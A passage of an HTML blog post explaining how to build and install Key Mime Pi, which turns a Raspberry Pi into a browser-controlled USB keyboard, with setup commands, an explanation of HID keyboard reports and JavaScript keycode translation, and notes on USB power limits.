&lt;p>Enable SSH access by placing a file called &lt;code>ssh&lt;/code> on the microSD&amp;rsquo;s boot partition, and insert the microSD card into your Pi device. If you&amp;rsquo;re connecting over wireless, you&amp;rsquo;ll also need to &lt;a href="https://www.raspberrypi.org/documentation/configuration/wireless/headless.md">create a &lt;code>wpa_supplicant.conf&lt;/code> file&lt;/a> on the boot partition.&lt;/p>
&lt;h2 id="connecting-your-pi">Connecting your Pi&lt;/h2>
&lt;p>Connect the USB cable to your Pi&amp;rsquo;s USB OTG port. On the Pi 4, this is the USB-C port. For the Pi Zero, it&amp;rsquo;s the Micro-USB port labeled &amp;ldquo;USB.&amp;rdquo;&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/key-mime-pi/pi4-connection.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/key-mime-pi/pi4-connection_hu_baf9222fd4879ce4.jpg 300w, https://mtlynch.io/key-mime-pi/pi4-connection_hu_d2a9c4b8410515b2.jpg 600w, https://mtlynch.io/key-mime-pi/pi4-connection_hu_a5d0cd123bb1d593.jpg 800w, https://mtlynch.io/key-mime-pi/pi4-connection_hu_6b7d8fb8fddf35e1.jpg 1200w, https://mtlynch.io/key-mime-pi/pi4-connection.jpg 1500w'
 src="https://mtlynch.io/key-mime-pi/pi4-connection.jpg" alt="Pi 4 with cable inserted into USB-C port" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 445px">



 &lt;a href="https://mtlynch.io/key-mime-pi/pi-zero-connection.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 445px, 98vw"
 srcset='https://mtlynch.io/key-mime-pi/pi-zero-connection_hu_f342028a2b7dfbea.jpg 300w, https://mtlynch.io/key-mime-pi/pi-zero-connection_hu_86965630ea349c9a.jpg 600w, https://mtlynch.io/key-mime-pi/pi-zero-connection_hu_2e16453134b3abf8.jpg 800w, https://mtlynch.io/key-mime-pi/pi-zero-connection_hu_31dd9a3eb8b15ad9.jpg 1200w, https://mtlynch.io/key-mime-pi/pi-zero-connection.jpg 1500w'
 src="https://mtlynch.io/key-mime-pi/pi-zero-connection.jpg" alt="Pi Zero W with cable inserted into USB micro-USB data port" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>For the Raspberry Pi 4 (left), connect to the USB-C port. For the Raspberry Pi Zero W (right), connect to the Micro-USB data port.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Connect the other end of the USB cable to the computer that you want to connect to as a keyboard. USB 3.0 ports work better because they output more power, but all the USB 2.0 ports I tested worked fine as well.&lt;/p>
&lt;p>Your Pi should draw power from the computer&amp;rsquo;s USB port and power up.&lt;/p>
&lt;h2 id="install-key-mime-pi">Install Key Mime Pi&lt;/h2>
&lt;p>You have two options for installing Key Mime Pi. You can do it using plain old bash, which requires no external tools. Or, for a touch of class, install it via &lt;a href="https://docs.ansible.com/ansible/latest/index.html">Ansible&lt;/a>, my favorite open source configuration management tool.&lt;/p>
&lt;h3 id="option-1-the-pure-bash-way">Option 1: The pure bash way&lt;/h3>
&lt;p>From a bash shell, enter the following commands to connect to your Pi and configure it for USB device emulation:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># SSH into your Pi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PI_HOSTNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;raspberrypi&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># Change to your pi&amp;#39;s hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PI_SSH_USERNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;pi&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># Change to your Pi username&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Connect to the Pi (default password is &amp;#34;raspberry&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ssh &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PI_SSH_USERNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PI_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install pre-requisites&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt-get update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo apt-get install -y &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python-pip &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> python3-venv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install Key Mime Pi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git clone https://github.com/mtlynch/key-mime-pi.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> key-mime-pi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo ./enable-usb-hid
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Allow the Pi to reboot, then SSH in again and start the Key Mime Pi web server:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PI_SSH_USERNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PI_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> key-mime-pi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>python3 -m venv venv
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>. venv/bin/activate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pip install --requirement requirements.txt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PORT&lt;/span>=&lt;span style="color:#3677a9">8000&lt;/span> ./app/main.py
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="option-2-the-ansible-way">Option 2: The Ansible way&lt;/h3>
&lt;p>If you&amp;rsquo;re an Ansible user, you can use my &lt;a href="https://galaxy.ansible.com/mtlynch/keymimepi">Key Mime Pi Ansible role&lt;/a> for better automation. The following commands install Key Mime Pi on your device as a &lt;a href="https://wiki.archlinux.org/index.php/systemd">systemd service&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PI_HOSTNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;raspberrypi&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># Change to your pi&amp;#39;s hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">PI_SSH_USERNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;pi&amp;#34;&lt;/span> &lt;span style="color:#999;font-style:italic"># Change to your Pi username&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install the Key Mime Pi Ansible role&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ansible-galaxy install mtlynch.keymimepi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create a minimal Ansible playbook to configure your Pi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;- hosts: &lt;/span>&lt;span style="color:#40ffff">$PI_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> roles:
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13"> - role: mtlynch.keymimepi&amp;#34;&lt;/span> &amp;gt; install.yml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install all software (default password is &amp;#34;raspberry&amp;#34;)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ansible-playbook &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --inventory &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PI_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --user &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PI_SSH_USERNAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --become &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --become-method sudo &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --ask-pass &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> install.yml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Reboot the Pi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ansible &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PI_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -m reboot &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --inventory &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PI_HOSTNAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --user &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PI_SSH_USERNAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --ask-pass &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --become &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --become-method sudo
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="using-key-mime-pi">Using Key Mime Pi&lt;/h2>
&lt;p>After you run the install script, Key Mime Pi will be available at:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://raspberrypi:8000/">http://raspberrypi:8000/&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Its interface looks like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/key-mime-pi/key-mime-pi-interface.png">
 &lt;img
 
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/key-mime-pi/key-mime-pi-interface_hu_2f55c134b9dc2d71.png 300w, https://mtlynch.io/key-mime-pi/key-mime-pi-interface_hu_3da391a938b1a21.png 600w, https://mtlynch.io/key-mime-pi/key-mime-pi-interface_hu_b12459d19723b072.png 800w, https://mtlynch.io/key-mime-pi/key-mime-pi-interface.png 1182w'
 src="https://mtlynch.io/key-mime-pi/key-mime-pi-interface.png" alt="Screenshot of Key Mime Pi web interface" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Key Mime Pi web interface awaiting input&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>And like, magic, when you type into your browser, the keys will appear on the machine connected to the Pi.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 4032px">



 &lt;a href="https://mtlynch.io/key-mime-pi/key-mime-pi-usage.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 4032px, 98vw"
 srcset='https://mtlynch.io/key-mime-pi/key-mime-pi-usage_hu_d5cef2778158660c.jpg 300w, https://mtlynch.io/key-mime-pi/key-mime-pi-usage_hu_8353f9594db1da23.jpg 600w, https://mtlynch.io/key-mime-pi/key-mime-pi-usage_hu_a264bb3031b0bdc8.jpg 800w, https://mtlynch.io/key-mime-pi/key-mime-pi-usage_hu_c600e254044db4ef.jpg 1200w, https://mtlynch.io/key-mime-pi/key-mime-pi-usage.jpg 4032w'
 src="https://mtlynch.io/key-mime-pi/key-mime-pi-usage.jpg" alt="Key Mime Pi transmitting keystrokes from the browser" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Key Mime Pi allows you to send keystrokes through the browser to a remote computer.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="how-it-works">How it works&lt;/h2>
&lt;h3 id="usb-device-emulation">USB device emulation&lt;/h3>
&lt;p>The real magic here comes from &lt;a href="https://www.kernel.org/doc/html/latest/usb/gadget_hid.html">Linux&amp;rsquo;s USB Human Interface Device (HID) gadget driver&lt;/a>. It allows user-mode applications to interact with the operating system as if they were USB devices.&lt;/p>
&lt;p>The &lt;a href="https://github.com/mtlynch/ansible-role-key-mime-pi/blob/master/files/enable-rpi-hid">key-mime-pi configuration script&lt;/a> creates a file path at &lt;code>/dev/hidg0&lt;/code>. Any program can read or write to this path, and the OS translates the data to keyboard signals.&lt;/p>
&lt;p>To mimic a keyboard, the Pi has to communicate with the OS according to the &lt;a href="https://www.usb.org/sites/default/files/documents/hid1_11.pdf">USB HID spec&lt;/a>. At 97 pages of keycodes and tables, that document is a bit of a slog, but it turns out that the protocol for keyboards is dead simple.&lt;/p>
&lt;p>Upon each keystroke, the keyboard sends an 8-byte message called a &amp;ldquo;report.&amp;rdquo;&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Byte Index&lt;/th>
 &lt;th>Purpose&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>0&lt;/td>
 &lt;td>Modifier keys (Ctrl, Alt, Shift)&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>1&lt;/td>
 &lt;td>Reserved for manufacturers&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>2&lt;/td>
 &lt;td>Key #1&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>3&lt;/td>
 &lt;td>Key #2&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>4&lt;/td>
 &lt;td>Key #3&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>5&lt;/td>
 &lt;td>Key #4&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>6&lt;/td>
 &lt;td>Key #5&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>7&lt;/td>
 &lt;td>Key #6&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sending the keys for &amp;ldquo;Hi&amp;rdquo; looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># H (Right shift + h)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">&amp;#34;\x20\0\xb\0\0\0\0\0&amp;#34;&lt;/span> &amp;gt; /dev/hidg0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># i&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">&amp;#34;\0\0\xc\0\0\0\0\0&amp;#34;&lt;/span> &amp;gt; /dev/hidg0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Release all keys&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">&amp;#34;\0\0\0\0\0\0\0\0&amp;#34;&lt;/span> &amp;gt; /dev/hidg0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In addition to signalling key presses, keyboards must also indicate key releases. An 8-byte block of zeroes indicates that no keys are active.&lt;/p>
&lt;p>The above example sent one keystroke at a time, but HID reports have space for six keys. This means you can send up to six keystrokes in a single message as long as they&amp;rsquo;re distinct keys:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">&amp;#34;\0\0\x1a\x0b\x04\x17\x18\x13&amp;#34;&lt;/span> &amp;gt; /dev/hidg0 &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> -ne &lt;span style="color:#ed9d13">&amp;#34;\0\0\0\0\0\0\0\0&amp;#34;&lt;/span> &amp;gt; /dev/hidg0
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>whatup
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="translating-from-javascript-to-hid">Translating from JavaScript to HID&lt;/h3>
&lt;p>When you type into a browser window, JavaScript generates events for each keystroke. The website &lt;a href="https://keycode.info">keycode.info&lt;/a> provides an excellent demonstration of this functionality in action.&lt;/p>
&lt;p>JavaScript key events include keycodes, but they&amp;rsquo;re distinct from HID keycodes. Fortunately, there&amp;rsquo;s a mostly 1:1 mapping between the two. To translate from JavaScript to HID, I created a &lt;a href="https://github.com/mtlynch/key-mime-pi/blob/904e56b6bf1f76da1abb85f654637da0e3c35fa3/app/js_to_hid.py#L32">lookup table&lt;/a> like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>_JS_TO_HID_KEYCODES = {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">3&lt;/span>: &lt;span style="color:#3677a9">0x48&lt;/span>, &lt;span style="color:#999;font-style:italic"># Pause / Break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">8&lt;/span>: &lt;span style="color:#3677a9">0x2a&lt;/span>, &lt;span style="color:#999;font-style:italic"># Backspace / Delete&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">9&lt;/span>: &lt;span style="color:#3677a9">0x2b&lt;/span>, &lt;span style="color:#999;font-style:italic"># Tab&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">65&lt;/span>: &lt;span style="color:#3677a9">0x04&lt;/span>, &lt;span style="color:#999;font-style:italic"># a&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">66&lt;/span>: &lt;span style="color:#3677a9">0x05&lt;/span>, &lt;span style="color:#999;font-style:italic"># b&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">67&lt;/span>: &lt;span style="color:#3677a9">0x06&lt;/span>, &lt;span style="color:#999;font-style:italic"># c&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#3677a9">68&lt;/span>: &lt;span style="color:#3677a9">0x07&lt;/span>, &lt;span style="color:#999;font-style:italic"># d&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The Key Mime Pi server listens for JavaScript keycode events from the browser, translates them into HID codes, then sends them to the Pi&amp;rsquo;s HID interface at &lt;code>/dev/hidg0&lt;/code>.&lt;/p>
&lt;p>Here&amp;rsquo;s how it works from end to end:&lt;/p>
&lt;ol>
&lt;li>A user hits a key in the browser.&lt;/li>
&lt;li>JavaScript on the page sends the JavaScript keycode to the Key Mime Pi server on the Pi.&lt;/li>
&lt;li>The Key Mime Pi server translates the JavaScript keycode to its equivalent HID code.&lt;/li>
&lt;li>The Key Mime Pi server sends the HID code to the USB gadget interface at &lt;code>/dev/hidg0&lt;/code>.&lt;/li>
&lt;li>The computer connected to the Pi&amp;rsquo;s USB cable receives this as keyboard input, causing a character to appear on the screen.&lt;/li>
&lt;/ol>
&lt;h2 id="the-power-problem">The power problem&lt;/h2>
&lt;p>In my tests, USB ports from computers produced enough electricity to power the Pi, but under-voltage warnings appeared frequently in the system log:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> $ sudo journalctl -xe | grep &lt;span style="color:#ed9d13">&amp;#34;Under-voltage&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#3677a9">05&lt;/span> 03:46:05 keymimepi kernel: Under-voltage detected! (0x00050005)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#3677a9">05&lt;/span> 03:48:29 keymimepi kernel: Under-voltage detected! (0x00050005)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#3677a9">05&lt;/span> 03:54:22 keymimepi kernel: Under-voltage detected! (0x00050005)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The Pi was correctly detecting that standard USB 2.0 and USB 3.0 ports provide insufficient power to meet the Pi&amp;rsquo;s requirements.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Raspberry Pi Model&lt;/th>
 &lt;th>Power requirements&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pi Zero W&lt;/td>
 &lt;td>5 V / 1.2 A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Pi 4&lt;/td>
 &lt;td>5 V / 3.0 A&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Standard USB ports come up short:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>USB Port Type&lt;/th>
 &lt;th>Power output&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>USB 2.0&lt;/td>
 &lt;td>5 V / 0.5 A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>USB 3.0&lt;/td>
 &lt;td>5 V / 0.9 A&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>I currently am still searching for a solution to this problem. Here are some possible solutions I have not yet tested:&lt;/p>
&lt;ul>
&lt;li>&lt;del>Use a &lt;a href="https://www.raspberrypi.org/products/poe-hat/">PoE HAT&lt;/a> to draw power from the Ethernet port&lt;/del>&lt;/li>
&lt;li>&lt;del>Use the Zero2Go Power Adaptor to connect an AC to microUSB adaptor.&lt;/del>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Update&lt;/strong>: To solve this problem, I worked with an engineering firm to create &lt;a href="https://tinypilotkvm.com/product/tinypilot-power-connector">a custom circuit board&lt;/a> that splits the Pi&amp;rsquo;s USB-C port into two. The first port accepts USB power, so you can still deliver a full 3 Amps to the Pi. The second accepts USB data out, so the Pi can still impersonate a USB keyboard.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/key-mime-pi/power-connector.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/key-mime-pi/power-connector_hu_f611747a0a0e2d4e.jpg 300w, https://mtlynch.io/key-mime-pi/power-connector_hu_b7a9d01e97db4838.jpg 600w, https://mtlynch.io/key-mime-pi/power-connector_hu_10d8aa45334a1d33.jpg 800w, https://mtlynch.io/key-mime-pi/power-connector_hu_e8a30fcd33f25aa1.jpg 1200w, https://mtlynch.io/key-mime-pi/power-connector.jpg 1600w'
 src="https://mtlynch.io/key-mime-pi/power-connector.jpg" alt="Close-up of power connector" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/key-mime-pi/power-connector-cables.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/key-mime-pi/power-connector-cables_hu_1a6ebd8fd55a034b.jpg 300w, https://mtlynch.io/key-mime-pi/power-connector-cables_hu_80638e6dea36ec06.jpg 600w, https://mtlynch.io/key-mime-pi/power-connector-cables_hu_90eda5504f50cad.jpg 800w, https://mtlynch.io/key-mime-pi/power-connector-cables_hu_c1667d313c6e49bd.jpg 1200w, https://mtlynch.io/key-mime-pi/power-connector-cables.jpg 1600w'
